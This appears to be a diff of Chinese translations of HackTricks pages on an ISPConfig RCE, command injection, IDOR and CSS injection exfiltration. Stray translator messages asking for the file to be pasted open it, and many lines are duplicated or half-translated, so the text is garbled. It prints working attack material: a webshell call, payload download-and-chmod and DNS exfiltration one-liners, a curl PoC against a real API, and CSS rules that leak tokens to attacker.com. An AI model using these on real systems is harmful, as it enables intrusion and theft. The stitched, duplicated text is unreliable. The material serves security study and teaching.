我目前没有该文件的内容。请粘贴 src/network-services-pentesting/pentesting-web/ispconfig.md 的原始 Markdown 文本,或确认我可以访问文件内容。我将把其中的英文文本翻译成中文(保留代码、标签、链接、路径和指定不翻译的术语与格式),并严格保留原始的 Markdown/HTML 语法
请粘贴 src/network-services-pentesting/pentesting-web/ispconfig.md 的内容,我会按要求将其中需要翻译的英文翻译为中文,保留代码、标签、链接和路径不翻译
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
如果 PHP 以 root 身份执行(例如,通过 root 启动的 `php -S 127.0.0.1:8080`),这会立即导致 root RCE。否则你将获得以 web 服务器用户身份的代码执行
如果 PHP 以 root 身份执行(例如,通过 `php -S 127.0.0.1:8080` 由 root 启动),则会立即导致 root RCE。否则你将获得作为 web 服务器用户的代码执行权限
### Python PoC
一个现成的 exploit 会自动处理 token 并传送 payload
一个现成的 exploit 会自动处理 token 并传送 payload
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
示例运行:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### 加固
### 硬化
- 升级到 3.2.11p1 或更高版本
- 禁用语言编辑器,除非确实需要:
- 禁用语言编辑器,除非确有必要:
```
admin_allow_langedit=no
```
- 避免以 root 身份运行面板;配置 PHP-FPM 或 web 服务器以降权
- 为内置的 `admin` 户强制使用强认证
- 不要以 root 身份运行面板;配置 PHP-FPM 或 Web 服务器以降低运行权限
- 为内置的 `admin` 户强制使用强认证
## 参考
## 参考资料
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)

View File

@ -4,11 +4,11 @@
## 什么是 command Injection?
A **command injection** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。结果,应用程序及其所有数据可能被完全攻破。执行这些命令通常允许攻击者获得对应用环境和底层系统的未授权访问或控制。
一个 **command injection** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能被完全妥协。 这些命令的执行通常允许攻击者获得对应用程序环境及底层系统的未授权访问或控制。
### 上下文
取决于 **你的输入被注入的位置**,你可能需要在命令之前 **终止被引号包围的上下文**(使用 `"``'`
**你的输入被注入的位置**,你可能需要在命令之前**终止被引用的上下文**(使用 `"``'`)来结束引号
## Command Injection/Execution
```bash
@ -30,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **限制** 绕过
如果你想执行 **arbitrary commands inside a linux machine**,你可能会想阅读这些 **绕过:**
### **限制** Bypasses
如果你试图在 **linux** 机器内部执行 **任意命令**,你可能会对这些 **Bypasses:** 感兴趣。
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -47,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### 参数
下面列出可能易受 code injection 及类似 RCE 漏洞影响的前 25 个参数(来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)
下面可能易受 code injection 及类似 RCE 漏洞影响的前 25 个参数(来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)
```
?cmd={payload}
?exec={payload}
@ -75,9 +74,9 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
?run={payload}
?print={payload}
```
### Time based data exfiltration
### 基于时间的数据外泄
提取数据char by char
逐字符提取数据
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -89,9 +88,9 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS based data exfiltration
### 基于 DNS 的 data exfiltration
基于工具 `https://github.com/HoLyVieR/dnsbin`,也托管在 dnsbin.zhack.ca
基于来自 `https://github.com/HoLyVieR/dnsbin` 的工具,也托管在 dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -101,12 +100,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
用于检测基于 DNS 的 data exfiltration 的在线工具:
用于检查基于 DNS 的数据外传的在线工具:
- dnsbin.zhack.ca
- pingb.in
### Filtering bypass
### 过滤绕过
#### Windows
```
@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` spawns a **shell** (`/bin/sh -c`),因此任何对 shell 有特殊含义的字符back-ticks`;``&&``|``$()`、…)在将用户输入拼接到字符串时都会导致 **command injection**
`exec()` 会启动一个 **shell** (`/bin/sh -c`),因此任何对 **shell** 有特殊含义的字符(反引号`;``&&``|``$()`、…)在将用户输入拼接到字符串时都会导致 **command injection**
**Mitigation:** 使用 `execFile()`(或在不使用 `shell` 选项的情况下使用 `spawn()`),并以**将每个参数作为单独的数组元素**的方式提供参数,这样就不会涉及 shell
**缓解:** 使用 `execFile()`(或不带 `shell` 选项的 `spawn()`),并将 **每个参数作为独立的数组元素** 提供,这样就不会涉及 **shell**
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -140,16 +139,16 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
真实案例: *Synology Photos* ≤ 1.7.0-0794 可以通过一个未认证的 WebSocket 事件被利用,该事件将攻击者控制的数据放入 `id_user`,随后嵌入到 `exec()` 调用中,从而实现 RCEPwn2Own Ireland 2024
真实案例*Synology Photos* ≤ 1.7.0-0794 存在一个通过未经认证的 WebSocket 事件利用的漏洞,该事件将攻击者控制的数据放入 `id_user`,随后嵌入到 `exec()` 调用中,实现 RCEPwn2Own Ireland 2024
## Brute-Force Detection List
## Brute-Force 检测列表
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## 参考资料
## 参考
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)

View File

@ -2,21 +2,20 @@
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) 出现在当某个 web 或 API 端点泄露或接受一个可被用户控制的标识符,该标识符被 **直接** 用来访问内部对象,且 **没有验证调用者是否有权访问/修改** 该对象时。
成功利用通常允许横向或纵向 privilege-escalation例如读取或修改其他用户的数据在最坏的情况下可能导致 full account takeover 或 mass-data exfiltration。
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) 出现在当 web 或 API endpoint 泄露或接受一个可被用户控制的标识符,该标识符被 **直接** 用于访问内部对象,且 **未验证调用者是否有权** 访问/修改该对象。成功利用通常允许横向或纵向的 privilege-escalation例如读取或修改其他用户的数据在最坏情况下可能导致 full account takeover 或 mass-data exfiltration。
---
## 1. 识别潜在的 IDORs
1. 查找**引用对象的参数**
* 路径: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* 查询: `?id=42`, `?invoice=2024-00001`
* 请求体 / JSON: `{"user_id": 321, "order_id": 987}`
* 请求头 / Cookies: `X-Client-ID: 4711`
2. 优先关注**读取或更新**数据的端点`GET`, `PUT`, `PATCH`, `DELETE`)。
3. 注意标识符是否**顺序或可预测** —— 如果你的 ID 是 `64185742`,那么 `64185741` 很可能存在。
4. 探索隐藏或替代流程(例如登录页中的 *"Paradox team members"* 链接),这些可能暴露额外的 API。
5. 使用一个 **authenticated low-privilege session**,仅更改 ID 并保留相同的 token/cookie。缺少授权错误通常是 IDOR 的迹象
1. 寻找 **引用对象的参数**
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. 优先针对 **读取或更新** 数据的 endpoints`GET`, `PUT`, `PATCH`, `DELETE`)。
3. 注意标识符是否**顺序或可预测** —— 如果你的 ID 是 `64185742`,那么 `64185741` 很可能存在。
4. 探索隐藏或备用流程(例如登录页面中的 *"Paradox team members"* 链接),这些可能暴露额外的 APIs
5. 使用一个 **已认证的低权限会话**,只修改 ID**保持相同的 token/cookie**。未返回授权错误通常是 IDOR 的征兆
### Quick manual tampering (Burp Repeater)
```
@ -38,67 +37,67 @@ done
```
---
### Error-response oracle:用于用户/文件枚举
### Error-response oracle for user/file enumeration
当一个下载 endpoint 同时接受 username 和 filename例如 `/view.php?username=<u>&file=<f>`)时,错误信息中的细微差异常常会形成一个 oracle
当一个 download endpoint 同时接受 username 和 filename例如 `/view.php?username=<u>&file=<f>`)时,错误消息中的细微差异常常会产生一个 oracle
- 不存在的用户名 → "User not found"
- 文件名错误但扩展名合法 → "File does not exist"(有时也会列出可用文件)
- 错误的扩展名 → 验证错误
- 不存在的 username → "User not found"
- 错误的 filename 但 extension 有效 → "File does not exist" (有时也会列出可用文件)
- 错误的 extension → validation error
在任意已认证的 session 中,你可以在保持一个无害的 filename 的同时对 username 参数进行 fuzz并过滤 "user not found" 字符串以发现有效用户:
使用任何 authenticated session你可以在保持一个 benign filename 的同时 fuzz username 参数,并根据 "User not found" 字符串进行筛选以发现有效用户:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
一旦识别出有效的用户名,就可以直接请求特定文件(例如 `/view.php?username=amanda&file=privacy.odt`)。这种模式通常会导致未授权披露其他用户的文档以及 credential leakage
一旦识别出有效的用户名,就可以直接请求特定文件(例如 `/view.php?username=amanda&file=privacy.odt`)。这种模式通常会导致其他用户的文档被未授权披露并造成凭证泄露
---
## 2. 真实案例研究 McHire Chatbot Platform (2025)
在对由 Paradox.ai 驱动**McHire** 招聘门户进行评估时,发现了以下 IDOR
在对 Paradox.ai 支持**McHire** 招聘门户进行评估时,发现了以下 IDOR
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: user session cookie for **any** restaurant test account
* Body parameter: `{"lead_id": N}` 8 位、**顺序**数字标识符
* 端点: `PUT /api/lead/cem-xhr`
* Authorization: 用于 **any** 餐厅测试账户的用户会话 cookie
* 请求体参数: `{"lead_id": N}` 8 位、**顺序**数字标识符
通过减小 `lead_id`,测试者检索到了任意申请人的 **full PII**姓名、e-mail、phone、address、shift preferences以及允许会话劫持的消费者 **JWT**。对范围 `1 64,185,742` 的枚举暴露了大约 **64 million** 条记录。
通过减小 `lead_id` 的值,测试人员检索到了任意申请者的 **完整的 PII**(姓名、电子邮件、电话、地址、班次偏好),以及一个允许进行 session hijacking 的消费者 **JWT**。枚举范围 `1 64,185,742` 暴露了大约 **64 million** 条记录。
概念验证请求:
Proof-of-Concept request:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
结合授予测试账户访问权限的**默认管理员凭据**`123456:123456`),该漏洞导致了严重的、影响全公司的数据泄露。
---
## 3. IDOR / BOLA 的影响
* 横向提升 读取/更新/删除 **其他用户** 的数据。
* 纵向提升 低权限用户获得仅管理员的功能。
* 如果标识符是顺序的(例如 applicant IDs, invoices),可能导致大规模数据泄露。
* 通过窃取令牌或重置其他用户密码实现账户接管。
* 横向权限提升 读取/更新/删除 **其他用户** 的数据。
* 纵向权限提升 低权限用户获得仅管理员可用的功能。
* 如果标识符是顺序的(例如申请人 ID、发票),可能导致大规模数据泄露。
* 通过窃取令牌或重置其他用户密码实现账户接管。
---
## 4. 缓解措施与最佳实践
1. 在每个请求上**强制实施对象级授权**`user_id == session.user`)。
2. 优先使用**间接、不可猜测的标识符**UUIDv4, ULID而不是自增 ID。
1. **在每个请求上强制对象级授权**`user_id == session.user`)。
2. 优先使用**间接且不可猜测的标识符**UUIDv4、ULID而不是自增 ID。
3. 在**服务器端**执行授权,切勿依赖隐藏表单字段或 UI 控件。
4. 在中中间件中实现 **RBAC / ABAC** 检查。
5. 添加 **rate-limiting & logging** 以检测 ID 枚举。
6. 对每个新端点进行安全测试(单元、集成和 DAST
4. 在中中间件中实现 **RBAC / ABAC** 检查。
5. 添加**速率限制和日志记录**以检测 ID 枚举。
6. 对每个新端点进行安全测试(单元测试、集成测试以及 DAST
---
## 5. 工具
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **BurpSuite 扩展**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
* **Github 项目**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## References
## 参考资料
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)

View File

@ -4,9 +4,9 @@
## CSS Injection
### 属性选择器
### Attribute Selector
CSS 选择器被构造匹配 `input` 元素的 `name``value` 属性的值。如果 `input` 元素的 `value` 属性以特定字符开头,则会加载预定义的外部资源:
CSS 选择器被构造匹配 `input` 元素的 `name``value` 属性的值。如果 `input` 元素的 `value` 属性以特定字符开头,则会加载预定义的外部资源:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
然而,这种方法在处理隐藏输入元素(`type="hidden"`)时存在一个限制,因为隐藏元素不会加载背景。
然而,这种方法在处理隐藏的 input 元素(`type="hidden"`)时存在一个限制,因为隐藏元素不会加载背景。
#### Bypass for Hidden Elements
为绕过此限制,您可以使用 `~` 通用兄弟选择器 (general sibling combinator) 定位后续的兄弟元素。该 CSS 规则随后会应用于所有位于 hidden input 元素之后的兄弟元素,从而导致背景图像被加载:
为绕过此限制,你可以使用 `~` general sibling combinator 定位后续的兄弟元素。CSS 规则随后会应用于所有跟在隐藏 input 元素之后的兄弟元素,从而触发背景图像的加载:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
关于利用该技术的一个实际示例已在提供的代码片段中详细说明。您可以在[这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)查看。
一个利用该技术的实际示例在提供的代码片段中有详细说明。你可以在[这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)查看。
#### CSS Injection 的先决条件
#### CSS Injection 的前提条件
要使 CSS Injection 技术有效,需要满足某些条件:
为了使 CSS Injection 技术有效,必须满足以下条件:
1. **Payload Length**: CSS Injection 向量必须支持足够长的 payload以容纳构造的选择器
2. **CSS Re-evaluation**: 您应当能够将页面嵌入 iframe这对于触发 CSS 针对新生成 payloads 的重新评估是必要的
3. **External Resources**: 该技术假设可以使用外部托管的图片。这可能会被站点的 Content Security Policy (CSP) 限制
1. **Payload Length**: CSS 注入向量必须支持足够长的 payloads以容纳构造的 selectors
2. **CSS Re-evaluation**: 你需要能够对页面进行框架化frame the page以触发使用新生成的 payloads 进行 CSS 的重新评估
3. **External Resources**: 该技术假定可以使用外部托管的 images。站点的 Content Security Policy (CSP) 可能会限制此类访问
### Blind Attribute Selector
正如[**此文所述**](https://portswigger.net/research/blind-css-exfiltration),可以将选择器 **`:has`** 和 **`:not`** 结合使用来识别来自盲元素的内容。当你不知道加载 CSS injection 的网页内部有什么时,这非常有用。\
也可以使用这些选择器从多个相同类型的区块中提取信息,例如:
如[**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以将选择器 **`:has`** 和 **`:not`** 结合使用,即使是来自 blind elements 也能识别内容。当你不知道加载 CSS 注入的网页内部有什么时,这非常有用。\
也可以使用这些选择器从多个相同类型的 block 中提取信息,例如:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -52,34 +52,34 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
将此与下面的 **@import** 技术结合,可以通过 **使用 CSS injection 在 blind pages 上 exfiltrate 大量 info** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
前一种技术有一些缺点,参见先决条件。你要么需要能够 **向受害者发送多个链接**,要么需要能够 **iframe the CSS injection vulnerable page**
之前的技术有一些缺点,查看先决条件。你要么需要能够 **send multiple links to the victim**,要么需要能够 **iframe the CSS injection vulnerable page**
不过,还有另一种巧妙的方法使用 **CSS `@import`** 来提高该技术的效果
不过,还有另一种巧妙的技术使用 **CSS `@import`** 来提高该技术的质量
最早由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) 展示,其工作原理如下:
该方法最早由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) 展示,其工作方式如下:
与其每次加载相同页面并反复使用数十个不同的 payload像前面那种方法我们将**只加载页面一次,并仅包含一个指向攻击者服务器的 import**(这就是要发送给受害者的 payload
我们不是像之前那样每次加载同一页面并使用几十个不同的 payloads而是**只加载一次页面,并仅包含一个指向 attackers server 的 import**(这就是要发送给受害者的 payload
```css
@import url("//attacker.com:5001/start?");
```
1. 该 import 将会从攻击者接收一些 CSS 脚本,浏览器会加载它。
2. 攻击者发送的 CSS 脚本的第一部分是 **另一个 `@import` 再次指向攻击者的服务器。**
1. 攻击者的服务器暂时不会响应此请求,因为我们想先 leak 一些字符,然后用 payload 响应这个 import 以泄露下一个字符。
3. payload 的第二个、更大的一部分将是一个 **attribute selector leakage payload**
1. 这会发送到攻击者服务器 **秘密的第一个字符和最后一个字符**
4. 一旦攻击者服务器收到 **秘密的第一个和最后一个字符**,它将 **响应第 2 步中请求的 import**
1. 响应将与 **步骤 2、3 和 4** 完全相同,但这次它会尝试 **找到秘密的第二个字符和倒数第二个字符**
1. The import is going to **receive some CSS script** from the attackers and the **browser will load it**.
2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.**
1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
3. The second and bigger part of the payload is going to be an **attribute selector leakage payload**
1. This will send to the attackers server the **first char of the secret and the last one**
4. Once the attackers server has received the **first and last char of the secret**, it will **respond the import requested in the step 2**.
1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**.
攻击者将会 **沿着该循环直到完全 leak 出秘密**
The attacker will f**ollow that loop until it manages to leak completely the secret**.
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
> [!TIP]
> 该脚本每次会尝试发现 2 个字符(从开始和结束),因为 attribute selector 允许做像下面这样的匹配
> 脚本每次会尝试发现两个字符(从开头和结尾),因为属性选择器允许像下面这样做
>
> ```css
> /* value^= to match the beggining of the value*/
@ -93,33 +93,33 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
> }
> ```
>
> 这使脚本能够更快地 leak 出秘密
> 这使得脚本可以更快地 leak secret
> [!WARNING]
> 有时脚本 **无法正确检测到已发现的 prefix + suffix 已经是完整的 flag**,它会继续向前(在 prefix和向后在 suffix最终可能会挂起。\
> 别担心,只需检查 **output**,因为 **你可以在那里看到 flag**
> Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\
> 不用担心,只要检查 **output**,因为 **你可以在那里看到 flag**
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
> [!WARNING]
> 在 if() 中进行相等比较时,字符串字面量必须使用双引号。单引号不会匹配。
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: 控制一个元素的 style attribute并确保目标属性位于同一元素上attr() 仅读取同一元素的属性)。
- Read: 将属性复制到 CSS 变量:`--val: attr(title)`.
- Decide: 使用嵌套条件比较变量与字符串候选项来选择 URL`--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: 应用 `background: image-set(var(--steal))`(或任何会发起请求的属性)以强制对所选端点发起请求
- Sink: 控制元素的 style 属性,并确保目标属性在同一元素上attr() 仅读取同一元素的属性)。
- Read: 将属性复制到一个 CSS 变量:`--val: attr(title)`.
- Decide: 使用嵌套条件比较变量与字符串候选项来选择 URL`--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: 应用 `background: image-set(var(--steal))`(或任何会触发请求的属性)以强制请求到选定的端点
Attempt (does not work; single quotes in comparison):
```html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```
有效 payload比较时必须使用双引号
可用的 payload比较时必须使用双引号
```html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```
使用嵌套条件枚举属性值:
枚举带嵌套条件的属性值:
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
@ -127,20 +127,20 @@ Attempt (does not work; single quotes in comparison):
```html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
```
Notes and limitations:
注意事项和限制:
- 在研究时适用于 Chromium-based 浏览器;在其他引擎上的行为可能不同。
- 最适用于有限/可枚举的值空间IDs、flags、短用户名。在没有外部样式表的情况下窃取任意长字符串仍然具有挑战性。
- 任何会获取 URL 的 CSS 属性都可以用来触发请求(例如 background/image-set、border-image、list-style、cursor、content
- 在研究时适用于基于 Chromium 浏览器;在其他引擎上的行为可能不同。
- 最适有限/可枚举的值空间IDs、flags、短用户名。在没有外部样式表的情况下窃取任意长度的字符串仍然具有挑战性。
- 任何获取 URL 的 CSS 属性都可用于触发请求(例如 background/image-set、border-image、list-style、cursor、content
自动化Burp Custom Action 可以生成嵌套的 inline-style payloads 来暴力破解属性值https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
自动化:一个 Burp Custom Action 可以生成嵌套的 inline-style payloads 来暴力破解属性值https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### 其他选择器
使用 **CSS selectors** 访问 DOM 部分的其他方法:
- **`.class-to-search:nth-child(2)`**:这将在 DOM 中查找具有类 "class-to-search" 的第二个元素。
- **`:empty`** 选择器:例如在 [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
- **`.class-to-search:nth-child(2)`**:这将在 DOM 中查找具有类 "class-to-search" 的第二个元素。
- **`:empty`** selector用于例如 [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)****
```css
[role^="img"][aria-label="1"]:empty {
@ -150,9 +150,9 @@ background-image: url("YOUR_SERVER_URL?1");
### 基于错误的 XS-Search
**参考:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
总体目的是 **从受控端点使用自定义字体**,并确保 **文本(在本例中为 'A')仅在指定资源 (`favicon.ico`) 无法加载时才使用该字体显示**。
总体目的是 **从受控端点使用自定义字体** 并确保 **文本(在本例中,'A')仅在指定资源(`favicon.ico`)无法加载时以该字体显示**。
```html
<!DOCTYPE html>
<html>
@ -174,49 +174,55 @@ font-family: "poc";
</body>
</html>
```
1. **自定义字体用法**:
1. **Custom Font Usage**:
- 一个自定义字体是使用 `@font-face` 规则在 `<style>` 标签内的 `<head>` 部分定义的。
- 该字体命名为 `poc`,并从外部端点(`http://attacker.com/?leak`)获取。
- `unicode-range` 属性被设置为 `U+0041`,针对特定的 Unicode 字符 'A'。
- A custom font is defined using the `@font-face` rule within a `<style>` tag in the `<head>` section.
- The font is named `poc` and is fetched from an external endpoint (`http://attacker.com/?leak`).
- The `unicode-range` property is set to `U+0041`, targeting the specific Unicode character 'A'.
2. **带回退文本的 Object 元素**:
- `<body>` 部分创建了一个 `id="poc0"``<object>` 元素。该元素尝试从 `http://192.168.0.1/favicon.ico` 加载资源。
- 该元素的 `font-family` 被设置为 `'poc'`,如 `<style>` 部分所定义。
- 如果资源(`favicon.ico`)未能加载,`<object>` 标签内的回退内容(字符 'A')将被显示。
- 如果无法加载外部资源,回退内容('A')将使用自定义字体 `poc` 渲染。
2. **Object Element with Fallback Text**:
- An `<object>` element with `id="poc0"` is created in the `<body>` section. This element tries to load a resource from `http://192.168.0.1/favicon.ico`.
- The `font-family` for this element is set to `'poc'`, as defined in the `<style>` section.
- If the resource (`favicon.ico`) fails to load, the fallback content (the letter 'A') inside the `<object>` tag is displayed.
- The fallback content ('A') will be rendered using the custom font `poc` if the external resource cannot be loaded.
### 为 Scroll-to-Text Fragment 添加样式
### Styling Scroll-to-Text Fragment
使用 **`:target`** 伪类来选择被 **URL 片段** 定位的元素,正如 [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 所述。需要注意的是,`::target-text` 不会匹配任何元素,除非文本被片段显式定位。
The **`:target`** pseudo-class is employed to select an element targeted by a **URL fragment**, as specified in the [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). It's crucial to understand that `::target-text` doesn't match any elements unless the text is explicitly targeted by the fragment.
当攻击者利用 **Scroll-to-text** fragment 功能时,会产生安全问题:他们可以通过 HTML injection 注入规则,从而通过从其服务器加载资源来确认网页上是否存在特定文本。该方法涉及注入如下 CSS 规则:
A security concern arises when attackers exploit the **Scroll-to-text** fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection. The method involves injecting a CSS rule like this:
```css
:target::before {
content: url(target.png);
}
```
在这种情况下,如果页面上存在文本 "Administrator"则会向服务器请求资源 `target.png`,从而表明该文本的存在。该攻击的一个实例可以通过一个专门构造的 URL 执行,该 URL 将注入的 CSS 与 Scroll-to-text fragment 一起嵌入:
在这种情况下,如果页面上存在文本 "Administrator"服务器会请求资源 `target.png`,从而表示该文本的存在。这个攻击示例可以通过一个特制的 URL 来执行,该 URL 将注入的 CSS 与 Scroll-to-text fragment 一起嵌入:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
在此,攻击者操纵 HTML 注入 来传输 CSS 代码,利用 Scroll-to-text fragment (`#:~:text=Administrator`) 针对特定文本 "Administrator"。如果找到该文本,就会加载指定资源,因而无意中向攻击者表明其存在。
Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text "Administrator" through the Scroll-to-text fragment (`#:~:text=Administrator`). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.
为缓解,应注意以下几点:
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) 被设计为仅匹配单词或句子,从而限制其用于 leak arbitrary secrets or tokens 的能力。
2. **Restriction to Top-level Browsing Contexts**: STTF 仅在 top-level browsing contexts 中运行,在 iframes 内无效,这使得任何 exploitation 企图更容易被用户察觉。
3. **Necessity of User Activation**: STTF 需要 user-activation gesture 才能生效,这意味着 exploitations 只能通过用户发起的导航实现。该要求大大降低了在无用户交互情况下自动化攻击的风险。然而blog post 的作者指出了特定条件和绕过方法(例如 social engineering、与常见 browser extensions 的交互),这些可能会简化攻击的自动化。
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) is designed to match only words or sentences, thereby limiting its capability to leak arbitrary secrets or tokens.
STTF 设计上仅匹配单词或句子,因此限制了其 leak 任意秘密或 tokens 的能力。
了解这些机制和潜在漏洞对于维护 web security 并防范此类利用性手法至关重要。
2. **Restriction to Top-level Browsing Contexts**: STTF operates solely in top-level browsing contexts and does not function within iframes, making any exploitation attempt more noticeable to the user.
